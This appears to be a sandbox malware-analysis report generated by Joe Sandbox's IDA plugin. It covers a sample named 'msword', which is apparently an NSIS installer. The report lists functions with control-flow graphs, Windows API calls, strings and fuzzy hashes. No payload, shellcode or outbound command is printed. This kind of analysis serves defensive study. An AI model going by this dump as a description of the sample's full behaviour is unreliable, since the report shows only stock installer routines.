                                                                              • Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                              • Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                              • Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
                                                                              • Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
                                                                            • String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$WarsFeltMadridFarmsPee
                                                                            • API String ID: 4286501637-4051260161
                                                                            • Opcode ID: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
                                                                            • Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
                                                                            • Opcode Fuzzy Hash: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
                                                                            • Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE
                                                                            Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 653 403587-4035d5 GetTickCount GetModuleFileNameW call 405e50 656 4035e1-40360f call 406009 call 406751 call 406009 GetFileSize 653->656 657 4035d7-4035dc 653->657 665 403615 656->665 666 4036fc-40370a call 4032d2 656->666 658 4037b6-4037ba 657->658 668 40361a-403631 665->668 672 403710-403713 666->672 673 4037c5-4037ca 666->673 670 403633 668->670 671 403635-403637 call 403336 668->671 670->671 677 40363c-40363e 671->677 675 403715-40372d call 403368 call 403336 672->675 676 40373f-403769 GlobalAlloc call 403368 call 40337f 672->676 673->658 675->673 703 403733-403739 675->703 676->673 701 40376b-40377c 676->701 679 403644-40364b 677->679 680 4037bd-4037c4 call 4032d2 677->680 685 4036c7-4036cb 679->685 686 40364d-403661 call 405e0c 679->686 680->673 689 4036d5-4036db 685->689 690 4036cd-4036d4 call 4032d2 685->690 686->689 700 403663-40366a 686->700 697 4036ea-4036f4 689->697 698 4036dd-4036e7 call 407281 689->698 690->689 697->668 702 4036fa 697->702 698->697 700->689 706 40366c-403673 700->706 707 403784-403787 701->707 708 40377e 701->708 702->666 703->673 703->676 706->689 709 403675-40367c 706->709 710 40378a-403792 707->710 708->707 709->689 711 40367e-403685 709->711 710->710 712 403794-4037af SetFilePointer call 405e0c 710->712 711->689 713 403687-4036a7 711->713 716 4037b4 712->716 713->673 715 4036ad-4036b1 713->715 717 4036b3-4036b7 715->717 718 4036b9-4036c1 715->718 716->658 717->702 717->718 718->689 719 4036c3-4036c5 718->719 719->689
                                                                            APIs
                                                                            • GetTickCount.KERNEL32 ref: 00403598
                                                                            • GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4
                                                                              • Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
                                                                              • Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76
                                                                            • GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600
                                                                            Strings
                                                                            • Inst, xrefs: 0040366C
                                                                            • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
                                                                            • soft, xrefs: 00403675
                                                                            • Error launching installer, xrefs: 004035D7
                                                                            • Null, xrefs: 0040367E
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: File$AttributesCountCreateModuleNameSizeTick
                                                                            • String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                                                                            • API String ID: 4283519449-527102705
                                                                            • Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
                                                                            • Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
                                                                            • Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
                                                                            • Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C
                                                                            Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166fileCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 720 40337f-403396 721 403398 720->721 722 40339f-4033a7 720->722 721->722 723 4033a9 722->723 724 4033ae-4033b3 722->724 723->724 725 4033c3-4033d0 call 403336 724->725 726 4033b5-4033be call 403368 724->726 730 4033d2 725->730 731 4033da-4033e1 725->731 726->725 732 4033d4-4033d5 730->732 733 4033e7-403407 GetTickCount call 4072f2 731->733 734 403518-40351a 731->734 735 403539-40353d 732->735 746 403536 733->746 748 40340d-403415 733->748 736 40351c-40351f 734->736 737 40357f-403583 734->737 739 403521 736->739 740 403524-40352d call 403336 736->740 741 403540-403546 737->741 742 403585 737->742 739->740 740->730 755 403533 740->755 744 403548 741->744 745 40354b-403559 call 403336 741->745 742->746 744->745 745->730 757 40355f-403572 WriteFile 745->757 746->735 751 403417 748->751 752 40341a-403428 call 403336 748->752 751->752 752->730 758 40342a-403433 752->758 755->746 759 403511-403513 757->759 760 403574-403577 757->760 761 403439-403456 call 407312 758->761 759->732 760->759 762 403579-40357c 760->762 765 40350a-40350c 761->765 766 40345c-403473 GetTickCount 761->766 762->737 765->732 767 403475-40347d 766->767 768 4034be-4034c2 766->768 769 403485-4034b6 MulDiv wsprintfW call 404f72 767->769 770 40347f-403483 767->770 771 4034c4-4034c7 768->771 772 4034ff-403502 768->772 778 4034bb 769->778 770->768 770->769 775 4034e7-4034ed 771->775 776 4034c9-4034db WriteFile 771->776 772->748 773 403508 772->773 773->746 777 4034f3-4034f7 775->777 776->759 779 4034dd-4034e0 776->779 777->761 781 4034fd 777->781 778->768 779->759 780 4034e2-4034e5 779->780 780->777 781->746
                                                                            APIs
                                                                            • GetTickCount.KERNEL32 ref: 004033E7
                                                                            • GetTickCount.KERNEL32 ref: 00403464
                                                                            • MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
                                                                            • wsprintfW.USER32 ref: 004034A4
                                                                            • WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
                                                                            • WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: CountFileTickWrite$wsprintf
                                                                            • String ID: ... %d%%$P1B$X1C$X1C
                                                                            • API String ID: 651206458-1535804072
                                                                            • Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
                                                                            • Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
                                                                            • Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
                                                                            • Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9
                                                                            Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 782 404f72-404f85 783 405042-405044 782->783 784 404f8b-404f9e 782->784 785 404fa0-404fa4 call 406805 784->785 786 404fa9-404fb5 lstrlenW 784->786 785->786 788 404fd2-404fd6 786->788 789 404fb7-404fc7 lstrlenW 786->789 792 404fe5-404fe9 788->792 793 404fd8-404fdf SetWindowTextW 788->793 790 405040-405041 789->790 791 404fc9-404fcd lstrcatW 789->791 790->783 791->788 794 404feb-40502d SendMessageW * 3 792->794 795 40502f-405031 792->795 793->792 794->795 795->790 796 405033-405038 795->796 796->790
                                                                            APIs
                                                                            • lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                            • lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                            • lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
                                                                            • SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                            • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                            • SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                              • Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
                                                                            • String ID:
                                                                            • API String ID: 2740478559-0
                                                                            • Opcode ID: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
                                                                            • Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
                                                                            • Opcode Fuzzy Hash: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
                                                                            • Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98
                                                                            Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 797 401eb9-401ec4 798 401f24-401f26 797->798 799 401ec6-401ec9 797->799 800 401f53-401f7b GlobalAlloc call 406805 798->800 801 401f28-401f2a 798->801 802 401ed5-401ee3 call 4062a3 799->802 803 401ecb-401ecf 799->803 816 4030e3-4030f2 800->816 817 402387-40238d GlobalFree 800->817 805 401f3c-401f4e call 406009 801->805 806 401f2c-401f36 call 4062a3 801->806 814 401ee4-402702 call 406805 802->814 803->799 807 401ed1-401ed3 803->807 805->817 806->805 807->802 813 401ef7-402e50 call 406009 * 3 807->813 813->816 829 402708-40270e 814->829 817->816 829->816
                                                                            APIs
                                                                              • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
                                                                            • GlobalFree.KERNELBASE(00722D98), ref: 00402387
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: FreeGloballstrcpyn
                                                                            • String ID: Exch: stack < %d elements$Pop: stack empty$WarsFeltMadridFarmsPee
                                                                            • API String ID: 1459762280-1231270740
                                                                            • Opcode ID: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
                                                                            • Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
                                                                            • Opcode Fuzzy Hash: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
                                                                            • Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD
                                                                            Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 832 4022fd-402325 call 40145c GetFileVersionInfoSizeW 835 4030e3-4030f2 832->835 836 40232b-402339 GlobalAlloc 832->836 836->835 837 40233f-40234e GetFileVersionInfoW 836->837 839 402350-402367 VerQueryValueW 837->839 840 402384-40238d GlobalFree 837->840 839->840 843 402369-402381 call 405f51 * 2 839->843 840->835 843->840
                                                                            APIs
                                                                            • GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
                                                                            • GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
                                                                            • GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
                                                                            • VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360
                                                                              • Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E
                                                                            • GlobalFree.KERNELBASE(00722D98), ref: 00402387
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
                                                                            • String ID:
                                                                            • API String ID: 3376005127-0
                                                                            • Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
                                                                            • Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
                                                                            • Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
                                                                            • Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19
                                                                            Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 848 402b23-402b37 GlobalAlloc 849 402b39-402b49 call 401446 848->849 850 402b4b-402b6a call 40145c WideCharToMultiByte lstrlenA 848->850 855 402b70-402b73 849->855 850->855 856 402b93 855->856 857 402b75-402b8d call 405f6a WriteFile 855->857 858 4030e3-4030f2 856->858 857->856 862 402384-40238d GlobalFree 857->862 862->858
                                                                            APIs
                                                                            • GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
                                                                            • WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
                                                                            • lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
                                                                            • String ID:
                                                                            • API String ID: 2568930968-0
                                                                            • Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
                                                                            • Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
                                                                            • Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
                                                                            • Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68
                                                                            Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 865 402713-40273b call 406009 * 2 870 402746-402749 865->870 871 40273d-402743 call 40145c 865->871 873 402755-402758 870->873 874 40274b-402752 call 40145c 870->874 871->870 875 402764-40278c call 40145c call 4062a3 WritePrivateProfileStringW 873->875 876 40275a-402761 call 40145c 873->876 874->873 876->875
                                                                            APIs
                                                                              • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
                                                                            • WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: PrivateProfileStringWritelstrcpyn
                                                                            • String ID: <RM>$WarsFeltMadridFarmsPee$WriteINIStr: wrote [%s] %s=%s in %s
                                                                            • API String ID: 247603264-1220653561
                                                                            • Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
                                                                            • Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
                                                                            • Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
                                                                            • Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD
                                                                            Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                              • Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                              • Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
